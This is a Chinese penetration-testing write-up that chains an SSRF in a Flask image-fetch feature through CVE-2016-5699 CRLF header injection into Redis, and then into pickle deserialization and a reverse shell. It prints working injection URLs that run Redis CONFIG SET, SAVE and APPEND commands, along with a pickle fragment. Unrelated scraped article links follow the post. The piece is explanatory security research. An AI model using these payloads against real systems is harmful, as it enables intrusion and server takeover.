Python安全 - 从SSRF到命令执行惨案
前两天遇到的一个问题,起源是在某个数据包里看到url=
这个关键字,当时第一想到会不会有SSRF漏洞。
以前乌云上有很多从SSRF打到内网并执行命令的案例,比如有通过SSRF+S2-016漏洞漫游内网的案例,十分经典。不过当时拿到这个目标,我只是想确认一下他是不是SSRF漏洞,没想到后面找到了很多有趣的东西。截图不多(有的是后面补得),大家凑合看吧。
0x01 判断SSRF漏洞
目标example.com
,根据其中csrf_token的样式,我猜测其为flask开发(当然也可能是一个我不太熟悉的框架使用了和flaskwtf相似的代码):
开着代理浏览了一遍整个网站的功能,功能点不多,比较小众的一个分享型站点。偶然间在数据包里看到url=
,看了一下发现是一个本地化外部图片这么一个功能。这种功能很容易出现两种漏洞:
- SSRF漏洞
- XSS漏洞
SSRF漏洞就不用多说了,在拉取外部资源的时候没有检查URL,导致可以向内网发送请求;XSS漏洞容易被忽略,拉取到目标后储存的时候没有过滤特殊字符,就可能导致XSS漏洞。
简单fuzz一下,依次访问http://127.0.0.1:80/
、http://127.0.0.1:80/404404404not_found
、http://127.0.0.1:12321/
依次返回了error和两个500,这三个结果分别代表什么?
因为平时做Python开发比较多,这种500的情况也见的比较多,通常是因为代码没有捕捉异常导致返回500。感觉第二个可能是HTTP请求404导致抛出异常,而第三个可能是TCP连接被拒绝(12321端口未开放)导致抛出异常。
虽然我还没理清目标的代码逻辑,但我能肯定这其中存在SSRF漏洞。
0x02 鸡肋redis服务?
经过简单的测试,我发现目标站点下载外部资源后,会检查资源类型是否是图片,不是图片则返回error。这样就很尴尬了,这是一个没有回显的SSRF漏洞。
这时候我突然想到,既然是判断图片,会不会是用imagemagick组件来判断的?然后我将imagetragick的POC保存到外网的某个poc.gif里,然后让其访问:
直接把内容返回了,没出现error,也没500,但命令也没执行成功。
当时没想清楚目标究竟是怎么判断图片的,后来拿到shell以后看了源码才知道:目标是判断返回包的content-type,如果不是图片就直接返回error,我想的太复杂了。
imagemagick这条路死了,我就没再研究这块逻辑。因为我不知道目标内网IP段,所以准备先探测一下127.0.0.1的端口,我列了一些常用端口,用Burp跑了一下:
看到6379是200的时候,我着实激动了一下,众所周知,在渗透中遇到redis是一件很愉快的事情。
不过我很快发现,GET请求我没法控制Redis的命令。
科普一下,Redis的协议是简单的文本流,比如我可以向6379端口发送如下TCP流:
SET x 1
SET y 2
每行代表一个命令,上述数据包执行了两条set
命令。但现在尴尬的是,普通GET请求的数据包如下:
GET / HTTP/1.1
Host: example.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
我控制不了任意一行的起始部分,也就没法自定义redis命令了,非常鸡肋……
0x03 CVE-2016-5699 化腐朽为神奇
真的鸡肋么?
去年,Python的urllib库曾出过一个头注入的漏洞,CVE-2016-5699( http://blog.neargle.com/SecNewsBak/drops/Python%20urllib%20HTTP%E5%A4%B4%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.html )
因为在CTF里有过类似的思路,所以我基本第一时间就想到了。我在外网服务器用nc开了个端口,在目标web页面传入http://[vps-ip]%0d%0aX-injected:%20header:12345/foo
,发现果然注入成功了:
有点小激动,因为之前只是听说过这个漏洞,没有真实案例的依托,这次真遇到了。如果我们能注入HTTP头,也就能控制发送往Redis的数据包的某一行,这样就能执行任意Redis命令了。
有点怕影响目标站,我先在本地搭了个类似的环境。
攻击Redis有几个思路,核心就在于写文件。在本地测试,发现了几个巨坑:
CONFIG SET dir /tmp
,传递斜线/
的时候必须进行二次编码(%252f
),否则urllib2会抛出URLError: <urlopen error no host given>
的异常。- url过长会导致抛出
UnicodeError: label empty or too long
的异常,所以我需要依次传入CONFIG SET
、SAVE
等几个命令。
最后,我依次发送http://127.0.0.1%0d%0aCONFIG%20SET%20dir%20%252ftmp%0d%0a:6379/foo
、http://127.0.0.1%0d%0aCONFIG%20SET%20dbfilename%20evil%0d%0a:6379/foo
、http://127.0.0.1%0d%0aSET%20foo%20bar%0d%0aSAVE%0d%0a:6379/foo
,最后成功在本地写入/tmp/evil
文件。
不过目标环境就有点蛋疼了,一是完全没有回显,我无法知道我是否写入成功;二是失败原因我无法预测,有可能是redis有密码,或redis是普通权限,或config set命令被禁用等等。
感觉又是一个比较蛋疼和鸡肋的情境。
0x04 Python反序列化逆袭
果然在线上环境尝试写入cron文件,都没成功反弹回shell。
在这个地方卡了很久,思路一直在考虑“是否真的成功写入文件”这个问题,如果“成功写入了文件”,为什么没有反弹到shell;如果没有成功写入文件,是不是没有权限,是否可以写入python的webshell?总结起来有几个思路:
- 写入ssh key进行getshell。但扫端口发现似乎并没有开放22,推测是更换了ssh端口并进行的IP限制,或者直接没有运行sshd。
- 写入cron尝试反弹shell,但没成功。也许是redis没权限,也许是因为目标是ubuntu或debian,这两个系统对于cron文件格式限制会比较严,很难用redis反弹shell。
- 写入python的webshell,但可能也会遇到文件格式要求过严导致python运行失败,而且通常写入python脚本需要重启服务器才能奏效
- 写入jinja2模板文件,并通过模板引擎支持的语法执行命令。
总结起来,第4个方法最靠谱,因为模板文件对格式要求不严,只要我需要执行的语句放在类似{{ }}
的标签中即可。但经过测试,还是有几个问题:一是web路径(关键是存放模板文件的路径)和模板名称都需要猜,这个太难;二是redis如果是从源进行安装,一般是redis用户运行,一般无法写入web目录。
吃个夜宵再回来想想,我觉得首先得解决“是否真的成功写入文件”这个问题。后面fuzz了一下,测试了一堆目录,发现成功在/var/www/html/static
下写入了文件,并通过http://example.com/static/xxxfile
直接可以访问!
下载刚写入的文件,其实这个文件即为redis的导出文件。我将之导入到自己本地的redis环境中,又是一个惊喜:
看到这个样式的数据,我就知道这一定是反序列化数据,而且是Python2.7的反序列化数据。
这里科普一下,Python2.7和3.5默认使用的序列化格式有所区别,一般带有括号和换行的序列化数据是2.7使用的,而包含
\x00
的一般是3.5使用的。
后续利用就和 https://www.leavesongs.com/PENETRATION/zhangyue-python-web-code-execute.html 这篇文章一个套路。目标站使用redis存储session数据,且session数据使用序列化保存,我们可以通过反序列化来执行任意命令。
使用python2.7构造一个执行反弹shell脚本的序列化数据,并通过SSRF漏洞设置成session:hacker
的值,然后访问目标站点的时候设置Cookie session=hacker
。
不过有一点需要注意,就是SSRF时URL太长的话会抛出错误(之前本地测试的时候说过),所以需要曲线救国,使用redis的append命令,将数据一段一段写入,类似于这样:
另外还有个坑,写入的时候,特殊字符(如换行)需要转义:http://127.0.0.1%0d%0aAPPEND%20session:hacker%20"(S'id'\np1\ntp2\nRp3\n."%0d%0aSAVE%0d%0a:6379/
,而且只有值被引号包裹时转义符才能转义,否则转义符又会被转义……这个把我坑了好久,差点就以为功亏一篑了。
最后感觉,挖漏洞思路还是得跳,之前一直在考虑怎么通过redis写文件来进行getshell,却没想到通过读取redis的备份文件,找到了突破口。
成功反弹shell:
总结
这一次案例,出现漏洞的根本原因有几个:
- Web层面出现SSRF漏洞
- Python版本过低,存在CVE-2016-5699头注入漏洞
- Redis版本过低,新版Redis写入的文件权限一般是660,可以极大程度上避免写文件造成的漏洞
拿到shell以后我看了下源码,其逻辑是这样:获取用户传入的url参数,直接发送HTTP请求并拿到返回对象,判断返回对象的Content-Type是否包含image,如果包含则离线数据并显示出来,否则返回error。
这就导致HTTP请求一旦出现错误,服务器就会抛出500,而返回error是手工判断的结果,所以状态码还是200。
另外还有个感想,我怕把目标环境搞坏了,整个过程中多次用到了本地环境进行测试,而所有本地环境都是用docker启动的 ,非常方便。
之后我应该会模拟一下这个目标,做一个vulhub环境给大家,有时间再说吧……
Python安全 - 从SSRF到命令执行惨案的更多相关文章
- 转:Python安全 - 从SSRF到命令执行惨案
转:https://www.leavesongs.com/PENETRATION/getshell-via-ssrf-and-redis.html Python安全 - 从SSRF到命令执行惨案 PH ...
- Python开发的3种命令执行方法
在python开发中,我们常常需要执行命令,修改相关信息.那对于初学者来说,python中如何执行命令呢?今天,小编就为大家分享3种python命令执行的方法. 1. 使用os.system(&quo ...
- Python开发程序:RPC异步执行命令(RabbitMQ双向通信)
RPC异步执行命令 需求: 利用RibbitMQ进行数据交互 可以对多台服务器进行操作 执行命令后不等待命令的执行结果,而是直接让输入下一条命令,结果出来后自动打印 实现异步操作 不懂rpc的请移步h ...
- Python实现ssh批量登录并执行命令
局域网内有一百多台电脑,全部都是linux操作系统,所有电脑配置相同,系统完全相同(包括用户名和密码),ip地址是自动分配的.现在有个任务是在这些电脑上执行某些命令,者说进行某些操作,比如安装某些软件 ...
- Python学习总结 06 paramiko 远程执行命令
有时会需要在远程的机器上执行一个命令,并获得其返回结果.对于这种情况,python 可以很容易的实现. 1 工具 Python paramiko 1) Paramiko模块安装 在Linux的Term ...
- python套接字编程实现ntp服务和远程命令执行
python套接字编程实现ntp服务和远程命令执行 目录 基于udp实现ntp服务 基于tcp实现远程命令执行 基于udp实现远程命令执行 tcp与udp的比较 前面关于套接字基础请查阅 https: ...
- Python之路 - Socket实现远程执行命令
Python之路 - Socket实现远程执行命令 os模块实现
- python中模拟进行ssh命令的执行
在进行socket编程的时候,可以实现远程执行命令,然后返回相关的结果,但是这种...很容易就把服务器搞挂了. 在这里需要用到commands模块,commands模块中有一个方法为getstatus ...
- shell基础概念, if+命令, shell中引用python, shell脚本的几种执行方式
说明: 虚拟机中shell_test目录用来练习shell, 其中有个test.log文件用来存放日志 #!/usr/bin/bash # shell文件开头, 用来指定该文件使用哪个解释器 ...
随机推荐
- 录毛线脚本,直接抓包手写最简洁的LoadRunner性能测试脚本
通常情况下,我们测试性能先要做单场景测试,即某个功能,一般情况下,这个功能依赖的功能(可能是需要先登录)不会太多, 如果录制脚本的话,会录制到很多无关的请求,大大增加了脚本的复杂度以及调整脚本的工作量 ...
- NOIp2018 复习笔记
其实也没什么用啦,只是来占个坑 OI知识 3367 [模板]并查集 就这么做啊 没什么其他的 就是可以做tarjan LCA和Kruskal的操作 //关键函数 int getfa(int t) { ...
- [JSOI2008]Blue Mary的职员分配
由于Blue Mary呕心沥血的管理,Blue Mary的网络公司蒸蒸日上.现在一共拥有了n名职员,可惜没有任何的金钱和声誉.平均每名每天职员都可以给公司带来x单位金钱或者y单位声誉(名利不能双全). ...
- 使用item pipeline处理保存数据
一个Item Pipeline 不需要继承特定基类,只需要实现某些特定方法,面向接口. class MyPipeline(object): def __init__(self): "&quo ...
- centos7安装mha4mysql
mysql搭建mha需要用的两个rpm包.(manager包和node包) 下载地址:https://download.csdn.net/download/dajdajdajdaj/10603389 ...
- pre标签内文本自动换行
pre标签内文本自动换行 给pre标签添加一个css样式 pre { white-space: pre-wrap; /* css-3 */ white-space: -moz-pre-wrap; /* ...
- 第二十六节,滑动窗口和 Bounding Box 预测
上节,我们学习了如何通过卷积网络实现滑动窗口对象检测算法,但效率很低.这节我们讲讲如何在卷积层上应用这个算法. 为了构建滑动窗口的卷积应用,首先要知道如何把神经网络的全连接层转化成卷积层.我们先讲解这 ...
- 原生JS实现jquery的ready
function ready(fn){ if(document.addEventListener){ //标准浏览器 document.addEventListener('DOMContentLoad ...
- TODO java疑问
TODOjava 疑惑-关于方法调用的参数是基本类型和引用类型的差别 class DataWrap { int a; int b; } public class ReferenceTransferTe ...
- 3D游戏的角色移动和旋转
* -----英雄的移动控制 * * * * */ using System.Collections; using System.Collections.Generic; using UnityEng ...